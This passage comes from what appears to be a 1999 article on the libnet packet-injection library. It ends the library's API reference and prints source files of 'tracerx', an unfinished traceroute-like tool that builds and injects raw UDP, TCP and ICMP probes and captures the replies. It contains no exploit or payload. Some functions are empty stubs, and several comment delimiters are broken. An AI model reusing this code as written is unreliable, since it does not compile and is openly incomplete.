Upon success the function returns 1, and head points to the newly formed port‑list (and also contains the number of nodes in the list. If an error occurs (an unrecognized token is found or malloc fails) ‑1 is returned and head is set to NULL.

libnet_plist_chain_next_pair() should be used to extract port list pairs.

int libnet_plist_chain_next_pair(struct libnet_plist_chain *, u_short *, u_short *);

RV on success: 1, 0

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to a libnet_plist_chain pointer 2 ‑ pointer to the beginning port (to be filled in) 3 ‑ pointer to the ending port (to be filled in)

libnet_plist_chain_next_pair() fetches the next pair of ports from the list. The function takes a pointer to the head of the prebuilt list and a pointer to a u_short that will contain the beginning port and a pointer to a u_short that will contain the ending port.

The function returns 1 and fills in these values if there are nodes remaining, or if the port list chain is exhausted, it returns 0. If an error occurs (the libnet_plist_chain pointer is NULL) the function returns ‑1.

int libnet_plist_chain_dump(struct libnet_plist_chain *);

RV on success: 1

RV on failure: ‑1

Reentrant: yes

Arguments: 1 ‑ pointer to a libnet_plist_chain pointer

libnet_plist_chain_dump() dumps the port‑list chain referenced by the argument. The function prints the list to stdout (it's mainly meant as a debugging tool). It returns 1 upon success or if an error occurs (the libnet_plist_chain pointer is NULL) the function returns ‑1.

u_char *libnet_plist_chain_dump_string(struct libnet_plist_chain *);

RV on success: pointer to the token list as a string

RV on failure: NULL

Reentrant: no

Arguments: 1 ‑ pointer to a libnet_plist_chain pointer

libnet_plist_chain_dump_string() returns the port‑list chain referenced by the argument as a string. It returns the port list string upon success or if an error occurs (the libnet_plist_chain pointer is NULL) the function returns NULL.

void libnet_plist_chain_free(struct libnet_plist_chain *);

RV on success: NA

RV on failure: NA

Reentrant: yes

Arguments: 1 ‑ pointer to a libnet_plist_chain pointer

libnet_plist_chain_free() frees the memory associated with the libnet port list chain.

‑‑‑‑[ 6] Conclusion

Libnet is a powerful and useful library. Use it well and you will prosper and people will like you. Women will want you, men will want to be you (swap genders as required).

‑‑‑‑[ 7] URLs

Libnet Homepage: http://www.packetfactory.net/libnet

Libnet Project Page: http://www.packetfactory.net

Libnet Mailing List: libnet‑subscribe@libnetdevel.com (mailing list is, as of 09.09.99 down for unknown reasons. It will be back up soon. Keep track of it on the webpage.)

TracerX http://www.packetfactory.net/tracerx

‑‑‑‑[ 8] References

[1] LBNL, Network Research Group, "libpcap", http://ee.lbl.gov

[2] Stevens, W. Richard, "UNIX Network Programming, vol. I, 2nd ed.", Prentice Hall PTR, 1998

[3] Hanson, David R., "C Interfaces and Implementations", Addison‑Wesley, 1997

‑‑‑‑[ 9] Example code

No writ on a C library would be complete without C code. The following heavily commented example is a work in progress. It's actually an incomplete

program that we were working on called tracerx (a planned enhanced traceroute ‑‑ http://www.packetfactory.net/tracerx).

The packet injection portion is complete and operational and should prove to be a good example of how to write reasonably complex code on top of libnet (and libpcap). Included is the current tracerx tree including the autoconf files such that you can build it on your machine and play with it.

<++> P55/Tracerx/tx_framework.c !a2064076

/*

* $Id: tx_framework.c,v 1.3 1999/06/03 22:06:52 route Exp $

*

* Tracerx

* tx_framework.c ‑ main tracerx toplevel routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_main.h"

#include "./tx_error.h"

#include "./tx_struct.h"

#include "./tx_framework.h"

#include "./tx_packet_inject.h"

#include "./tx_packet_capture.h"

#include "./tx_packet_filter.h"

int

tx_init_control(struct tx_control **tx_c)

{

/*

* Heap memory for the control structure.

*/

*tx_c = (struct tx_control *)malloc(sizeof(struct tx_control)); if (!(*tx_c))

{

return (‑1);

}

/*

* Heap memory for the libnet link interface structure. */

(*tx_c)‑>l =

(struct libnet_link_int *)malloc(sizeof(struct libnet_link_int)); if (!((*tx_c)‑>l))

{

return (‑1);

}

if (libnet_seed_prand() == ‑1)

{

tx_error(CRITICAL, "Can't initialize the random number generator\n"); return (‑1);

}

/*

* Initialize defaults to mimic a standard traceroute scan. */

(*tx_c)‑>device = NULL; /* set later */

(*tx_c)‑>current_ttl = 1; /* start at 1 hop */

(*tx_c)‑>max_ttl = 30; /* end at 30 */

(*tx_c)‑>initial_sport = libnet_get_prand(PRu16); (*tx_c)‑>initial_dport = 32768 + 666; /* standard tr */

(*tx_c)‑>id = getpid(); /* packet id */

(*tx_c)‑>use_name = 1; /* resolve IP addresses */

(*tx_c)‑>packet_size = PACKET_MIN; /* IP + UDP + payload */

(*tx_c)‑>ip_tos = 0; /* set later */

(*tx_c)‑>ip_df = 0; /* set later */

(*tx_c)‑>packet_offset = 0; /* set later */

(*tx_c)‑>protocol = IPPROTO_UDP; /* UDP */

(*tx_c)‑>probe_cnt = 3; /* 3 probes */

(*tx_c)‑>verbose = 0; /* Sssssh */

(*tx_c)‑>reading_wait = 5; /* 5 seconds */

(*tx_c)‑>writing_pause = 0; /* no writing pause */

(*tx_c)‑>host = 0; /* set later */

(*tx_c)‑>packets_sent = 0; /* set later */

(*tx_c)‑>packets_reply = 0; /* set later */

(*tx_c)‑>l = NULL; /* pcap descriptor */

(*tx_c)‑>p = NULL; /* libnet descriptor */

memset(&(*tx_c)‑>sin, 0, sizeof(struct sockaddr_in));

return (1);

}

int

tx_init_network(struct tx_control **tx_c, char *err_buf)

{

/*

* Set up the network interface and determine our outgoing IP address. */

if (libnet_select_device(&(*tx_c)‑>sin, &(*tx_c)‑>device, err_buf) == ‑1) {

return (‑1);

}

/*

* Open the libnet link‑layer injection interface.

*/

(*tx_c)‑>l = libnet_open_link_interface((*tx_c)‑>device, err_buf); if (!((*tx_c)‑>l))

{

return (‑1);

}

/*

* Open the pcap packet capturing interface.

*/

(*tx_c)‑>p = pcap_open_live((*tx_c)‑>device, PCAP_BUFSIZ, 0, 500, err_buf); if (!((*tx_c)‑>p))

{

return (‑1);

}

/*

* Verify minimum packet size and set the pcap filter. */

switch ((*tx_c)‑>protocol)

{

case IPPROTO_UDP:

if ((*tx_c)‑>packet_size < IP_H + UDP_H + TX_P) {

tx_error(WARNING,

"Packet size too small, adjusted from %d to %d\n", (*tx_c)‑>packet_size,

IP_H + UDP_H + TX_P); (*tx_c)‑>packet_size = IP_H + UDP_H + TX_P; }

if (tx_set_pcap_filter(TX_BPF_FILTER_UDP, tx_c) == ‑1) {

return (‑1);

}

break;

case IPPROTO_TCP:

if ((*tx_c)‑>packet_size < IP_H + TCP_H + TX_P) {

tx_error(WARNING,

"Packet size too small, adjusted from %d to %d\n", (*tx_c)‑>packet_size,

IP_H + TCP_H + TX_P); (*tx_c)‑>packet_size = IP_H + TCP_H + TX_P; }

if (tx_set_pcap_filter(TX_BPF_FILTER_TCP, tx_c) == ‑1) {

return (‑1);

}

break;

case IPPROTO_ICMP:

if ((*tx_c)‑>packet_size < IP_H + ICMP_ECHO_H + TX_P) {

tx_error(WARNING,

"Packet size too small, adjusted from %d to %d\n", (*tx_c)‑>packet_size,

IP_H + ICMP_ECHO_H + TX_P); (*tx_c)‑>packet_size = IP_H + ICMP_ECHO_H + TX_P; }

if (tx_set_pcap_filter(TX_BPF_FILTER_ICMP, tx_c) == ‑1) {

return (‑1);

}

break;

default:

sprintf(err_buf, "Unknown protocol, can't set packetsize or filter\n"); return (‑1);

}

/*

* Allocate packet header memory.

*/

if (libnet_init_packet(

(*tx_c)‑>packet_size + ETH_H, /* include space for link layer */

&(*tx_c)‑>tx_packet) == ‑1)

{

sprintf(err_buf, "libnet_init_packet: %s\n", strerror(errno)); return (‑1);

}

return (1);

}

int

tx_do_scan(struct tx_control **tx_c)

{

int i, j;

/*

* Build a probe `template`. This template will be used for each * probe sent and it will be updated each pass through the main loop. */

tx_packet_build_probe(tx_c);

/*

* Increment the hopcounter and update packet template. */

for (i = 0; i < (*tx_c)‑>max_ttl; i++)

{

/*

* Send a round of probes.

*/

for (j = 0; j < (*tx_c)‑>probe_cnt; j++)

{

tx_packet_inject(tx_c);

fprintf(stderr, ".");

}

tx_packet_update_probe(tx_c);

fprintf(stderr, "\n");

}

tx_error(FATAL, "Hopcount exceeded.\n");

return (1);

}

int

tx_shutdown(struct tx_control **tx_c)

{

pcap_close((*tx_c)‑>p); libnet_close_link_interface((*tx_c)‑>l);

free((*tx_c)‑>l);

libnet_destroy_packet(&(*tx_c)‑>tx_packet);

free(*tx_c);

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_build.c !3b3527d5

/*

* $Id: tx_packet_build.c,v 1.3 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* tx_packet_build.c ‑ tracerx packet construction routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_main.h"

#include "./tx_error.h"

#include "./tx_struct.h"

#include "./tx_framework.h"

#include "./tx_packet_inject.h"

#include "./tx_packet_capture.h"

int

tx_packet_build_probe(struct tx_control **tx_c)

{

int i, c;

u_char errbuf[BUFSIZ];

struct ether_addr *local_mac, *remote_mac;

u_char DEBUG_ETHER[6] = {0x00, 0x10, 0x4b, 0x6b, 0x3c, 0x16};

/*

* Get the link layer addresses we'll need ‑‑ the local address of the * outgoing interface and remote address of the host in question (this * will actually be the first hop router).

*/

c = tx_get_hwaddrs(&local_mac, &remote_mac, tx_c, errbuf); if (c == ‑1)

{

tx_error(FATAL, "tx_get_hwaddrs could not get an address %s.\n", errbuf);

}

/*

* Build the ethernet header portion of the packet.

*/

libnet_build_ethernet(DEBUG_ETHER/*remote_mac.ether_addr_octet*/,

local_mac‑>ether_addr_octet,

ETHERTYPE_IP, /* This is an IP packet */

NULL, /* No payload */

0, /No payload */

(*tx_c)‑>tx_packet); /* packet memory */

/*

* Build the IP header portion of the packet.

*/

libnet_build_ip((*tx_c)‑>packet_size ‑ IP_H, /* IP packetlength */

(*tx_c)‑>ip_tos, /* IP type of service */

(*tx_c)‑>id, /* IP id */

(*tx_c)‑>ip_df, /* IP fragmentation bits */

(*tx_c)‑>current_ttl, /* IP time to live */

(*tx_c)‑>protocol, /* transport protocol */

(*tx_c)‑>sin.sin_addr.s_addr, /* source IP address */

(*tx_c)‑>host, /* destination IP */

NULL, /* IP payload */

0, /IP payload size */

(*tx_c)‑>tx_packet + ETH_H); /* packet memory */

/*

* Build the transport header and payload portion of the packet. */

switch ((*tx_c)‑>protocol)

{

case IPPROTO_UDP:

tx_packet_build_udp(tx_c);

break;

case IPPROTO_TCP:

tx_packet_build_tcp(tx_c);

break;

case IPPROTO_ICMP:

tx_packet_build_icmp(tx_c);

break;

default:

tx_error(FATAL, "Unknown transport protocol\n");

}

libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_IP, IP_H); }

int

tx_packet_build_udp(struct tx_control **tx_c)

{

libnet_build_udp((*tx_c)‑>initial_sport, /* source UDP port */

(*tx_c)‑>initial_dport, /* dest UDP port */

NULL, /* payload (copied later) */

/* The UDP header needs to know the payload size. */

(*tx_c)‑>packet_size ‑ IP_H ‑ UDP_H, (*tx_c)‑>tx_packet + ETH_H + IP_H); /* packet memory */

tx_packet_build_payload(tx_c, UDP_H);

libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_UDP, (*tx_c)‑>packet_size ‑ IP_H);

}

int

tx_packet_build_tcp(struct tx_control **tx_c)

{

libnet_build_tcp((*tx_c)‑>initial_sport, /* source TCP port */

(*tx_c)‑>initial_dport, /* dest TCP port */

libnet_get_prand(PRu32), /* sequence number */

0L, /*ACK number */

TH_SYN, /* control flags */

1024, /* window size */

0, /urgent */

NULL, /* payload (do this later) */

0, /later */

(*tx_c)‑>tx_packet + ETH_H + IP_H); /* packet memory */

tx_packet_build_payload(tx_c, TCP_H);

libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_TCP, (*tx_c)‑>packet_size ‑ IP_H);

}

int

tx_packet_build_icmp(struct tx_control **tx_c)

{

libnet_build_icmp_echo(ICMP_ECHO,

0,

0,

0,

NULL,

0,

(*tx_c)‑>tx_packet + ETH_H + IP_H);

tx_packet_build_payload(tx_c, ICMP_ECHO_H);

libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_ICMP, (*tx_c)‑>packet_size ‑ IP_H);

}

int

tx_packet_build_payload(struct tx_control **tx_c, int p_hdr_size) {

struct timeval time0;

struct tx_payload *p;

struct libnet_ip_hdr *ip_hdr;

int payload_offset;

/*

* The payload is just beyond the transport header.

*/

payload_offset = ETH_H + IP_H + p_hdr_size;

if (gettimeofday(&time0, NULL) == ‑1)

{

tx_error(FATAL, "Can't get timing information\n");

}

ip_hdr = (struct libnet_ip_hdr *)((*tx_c)‑>tx_packet + ETH_H); p = (struct tx_payload *)((*tx_c)‑>tx_packet + payload_offset);

/*

* This field is pretty much deprecated since we can keep track of * packets by controlling the ip_id field, something traceroute could * not do.

*/

p‑>seq = 0;

/*

* TTL packet left with.

*/

p‑>ttl = ip_hdr‑>ip_ttl;

/*

* RTT information.

*/

p‑>tv = time0;

}

int

tx_packet_update_probe(struct tx_control **tx_c)

{

struct libnet_ip_hdr *ip_hdr;

ip_hdr = (struct libnet_ip_hdr *)((*tx_c)‑>tx_packet + ETH_H);

/*

* Tracerx wouldn't be tracerx without a monotonically increasing IP * TTL.

*/

ip_hdr‑>ip_ttl++;

switch ((*tx_c)‑>protocol)

{

case IPPROTO_TCP:

{

struct libnet_tcp_hdr *tcp_hdr;

tcp_hdr = (struct libnet_tcp_hdr *)((*tx_c)‑>tx_packet + ETH_H + IP_H);

if (!((*tx_c)‑>tx_flags & TX_STATIC_PORTS)) {

/*

* Increment destination port. */

tcp_hdr‑>th_dport = htons(ntohs(tcp_hdr‑>th_dport) + 1); }

/*

* Update the payload information.

*/

tx_packet_build_payload(tx_c, TCP_H); tcp_hdr‑>th_sum = 0; libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_TCP, (*tx_c)‑>packet_size ‑ IP_H); break;

}

case IPPROTO_UDP:

{

struct libnet_udp_hdr *udp_hdr;

udp_hdr = (struct libnet_udp_hdr *)((*tx_c)‑>tx_packet + ETH_H + IP_H);

if (!((*tx_c)‑>tx_flags & TX_STATIC_PORTS)) {

/*

* Increment destination port. */

udp_hdr‑>uh_dport = htons(ntohs(udp_hdr‑>uh_dport) + 1); }

/*

* Update the payload information.

*/

tx_packet_build_payload(tx_c, UDP_H); udp_hdr‑>uh_sum = 0; libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_UDP, (*tx_c)‑>packet_size ‑ IP_H); break;

}

case IPPROTO_ICMP:

{

struct libnet_icmp_hdr *icmp_hdr;

icmp_hdr = (struct libnet_icmp_hdr *)((*tx_c)‑>tx_packet + ETH_H + IP_H);

/*

* Update the payload information.

*/

tx_packet_build_payload(tx_c, ICMP_ECHO_H); icmp_hdr‑>icmp_sum = 0; libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_ICMP, (*tx_c)‑>packet_size ‑ IP_H); break;

}

default:

tx_error(FATAL, "Unknown transport protocol\n");

}

ip_hdr‑>ip_sum = 0;

libnet_do_checksum((*tx_c)‑>tx_packet + ETH_H, IPPROTO_IP, IP_H); }

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_inject.c !788114b0

/*

* $Id: tx_packet_inject.c,v 1.3 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* tx_packet_inject.c ‑ high‑level packet injection routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_struct.h"

#include "./tx_framework.h"

#include "./tx_error.h"

int

tx_packet_inject(struct tx_control **tx_c)

{

int n;

n = libnet_write_link_layer(

(*tx_c)‑>l, /* pointer to the link interface */

(*tx_c)‑>device, /* the device to use */

(*tx_c)‑>tx_packet, /* the packet to inject */

(*tx_c)‑>packet_size + ETH_H); /* total packet size */

if (n != (*tx_c)‑>packet_size + ETH_H)

{

tx_error(CRITICAL, "Write error. Only wrote %d bytes\n", n); }

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_verify.c !7f21675e

/*

* $Id$

*

* Tracerx

* tx_packet_verify.c ‑ packet verification routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_struct.h"

#include "./tx_framework.h"

#include "./tx_error.h"

#include "./tx_packet_capture.h"

int

tx_packet_verify_udp(char *packet, struct tx_control **tx_c)

{

struct libnet_ip_hdr *ip_hdr;

struct libnet_icmp_hdr *icmp_hdr;

ip_hdr = (struct libnet_ip_hdr *)(packet + ETH_H);

/*

* A UDP scan is only interested in ICMP packets (or possibly a UDP * packet ‑‑ terminal case only).

*/

if (ip_hdr‑>ip_p != IPPROTO_ICMP && ip_hdr‑>ip_p != IPPROTO_UDP) {

return (TX_PACKET_IS_BORING);

}

icmp_hdr = (struct libnet_icmp_hdr *)(packet + ETH_H + IP_H);

switch (icmp_hdr‑>icmp_type)

{

case ICMP_UNREACH:

{

struct libnet_ip_hdr *o_ip_hdr;

if (ip_hdr‑>ip_src.s_addr == (*tx_c)‑>host) {

/*

* This is an unreachable packet from our destination host. * This has to be the terminal packet. The report module * will need to know if it's a regular port unreachable * message or perhaps some other type of unreachable.. */

if (icmp_hdr‑>icmp_code == ICMP_UNREACH_PORT) {

return (TX_PACKET_IS_TERMINAL); }

else

{

return (TX_PACKET_IS_TERMINAL_EXOTIC); }

}

/*

* Point to the original IP header inside the ICMP message's * payload.

*/

o_ip_hdr = (struct libnet_ip_hdr *)(packet + ETH_H + IP_H + ICMP_UNREACH_H);

if (ntohs(o_ip_hdr‑>ip_id) == (*tx_c)‑>id && o_ip_hdr‑>ip_src.s_addr == (*tx_c)‑>sin.sin_addr.s_addr)

{

/*

* The original IP header was sent by this host and contains * our special ID field, so it's almost positively ours. */

return (TX_PACKET_IS_UNREACH_EN_ROUTE); }

else

{

return (TX_PACKET_IS_BORING);

}

break;

}

case ICMP_TIMXCEED:

break;

default:

return (TX_PACKET_IS_BORING);

}

}

int

tx_packet_verify_tcp(char *packet, struct tx_control **tx_c)

{

}

int

tx_packet_verify_icmp(char *packet, struct tx_control **tx_c)

{

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_filter.c !df1a0488

/*

* $Id: tx_packet_filter.c,v 1.1 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* tx_packet_filter.c ‑ packet filtering routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_struct.h"

#include "./tx_error.h"

#include "./tx_main.h"

#include "./tx_packet_filter.h"

int

tx_set_pcap_filter(char *filter, struct tx_control **tx_c)

{

struct bpf_program filter_code;

bpf_u_int32 local_net, netmask;

char err_buf[BUFSIZ];

/*

* We need the subnet mask to apply a filter.

*/

if (pcap_lookupnet((*tx_c)‑>device, &local_net, &netmask, err_buf) == ‑1) {

tx_error(CRITICAL, "pcap_lookupnet: ", err_buf); return (‑1);

}

/*

* Compile the filter into bpf machine code.

*/

if (pcap_compile((*tx_c)‑>p, &filter_code, filter, 1, netmask) == ‑1) {

tx_error(CRITICAL, "pcap_compile failed for some reason\n"); sprintf(err_buf, "unknown error\n");

return (‑1);

}

/*

* Compile the filter into bpf machine code.

*/

if (pcap_setfilter((*tx_c)‑>p, &filter_code) == ‑1)

{

tx_error(CRITICAL, "pcap_setfilter: ", err_buf); return (‑1);

}

return (1);

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_capture.c !27092cf6

/*

* $Id: tx_packet_capture.c,v 1.2 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* tx_packet_capture.c ‑ high‑level packet capturing routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_struct.h"

#include "./tx_framework.h"

#include "./tx_error.h"

#include "./tx_packet_capture.h"

int

tx_packet_snatcher(struct tx_control **tx_c)

{

int n;

u_char *packet;

struct pcap_pkthdr pc_hdr;

/*

* Temporary looping construct until parallel code is in place. */

for (; packet = (u_char *)pcap_next((*tx_c)‑>p, &pc_hdr); ) {

/*

* Submit packet for verification based on scan type. */

switch ((*tx_c)‑>protocol)

{

case IPPROTO_UDP:

n = tx_packet_verify_udp(packet, tx_c); break;

case IPPROTO_TCP:

n = tx_packet_verify_tcp(packet, tx_c); break;

case IPPROTO_ICMP:

n = tx_packet_verify_icmp(packet, tx_c); break;

}

/*

* Process the response from the verifier.

*/

switch (n)

{

case ‑1:

/* an error occured */

case TX_PACKET_IS_BORING:

/* not something we are not interested in */

break;

case TX_PACKET_IS_EXPIRED: tx_report(TX_PACKET_IS_EXPIRED, packet, tx_c); break;

case TX_PACKET_IS_TERMINAL: tx_report(TX_PACKET_IS_TERMINAL, packet, tx_c); break;

case TX_PACKET_IS_TERMINAL_EXOTIC: tx_report(TX_PACKET_IS_TERMINAL_EXOTIC, packet, tx_c); break;

case TX_PACKET_IS_UNREACH_EN_ROUTE: tx_report(TX_PACKET_IS_UNREACH_EN_ROUTE, packet, tx_c); break;

default:

break;

}

}

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_main.c !831e8153

/*

* $Id: tx_main.c,v 1.3 1999/06/03 22:06:52 route Exp $

*

* Tracerx

